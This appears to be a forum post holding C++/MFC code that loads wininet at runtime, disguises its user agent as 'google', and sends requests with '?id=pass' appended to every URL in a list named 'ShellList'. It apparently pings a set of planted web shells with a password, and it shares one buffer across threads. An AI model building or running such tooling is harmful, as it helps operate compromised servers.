18,356
社区成员
发帖
与我相关
我的任务
分享
UINT CreateThread(LPVOID lparam)
{
HMODULE hDll;
LPVOID hInternet,hUrlHandle;
char buf[1000];
DWORD dwSize=0;
char *szURL = (char *)lparam;
hDll = LoadLibrary("wininet.dll");
if(hDll)
{
typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
pInternetOpen InternetOpen=NULL;
pInternetOpenUrl InternetOpenUrl=NULL;
pInternetCloseHandle InternetCloseHandle=NULL;
pInternetReadFile InternetReadFile=NULL;
InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA");
InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
hInternet = InternetOpen("google",0, NULL, NULL, 0);
if (hInternet != NULL)
{
hUrlHandle = InternetOpenUrl(hInternet, szURL, NULL, 0, 0x04000000, 0);
if (hUrlHandle!= NULL)
{
do
{
memset(buf,0,1000);
if (!InternetReadFile(hUrlHandle, buf,1000, &dwSize))
{
break;
}
} // do
while (TRUE);
InternetCloseHandle(hUrlHandle);
hUrlHandle = NULL;
}
InternetCloseHandle(hInternet);
hInternet = NULL;
}
FreeLibrary(hDll);
}
return 0;
}
void CMyDlg::OnOK()
{
// TODO: Add extra validation here
UpdateData(TRUE);
char ServerUrl[256];
CString strTemp;
int n = m_ShellList.GetItemCount();
for(int i = 0; i<n; i++)
{
strTemp = m_ShellList.GetItemText(i,1);
wsprintf(ServerUrl,"%s?id=pass",strTemp);
AfxBeginThread(CreateThread,(LPVOID)ServerUrl);
}
}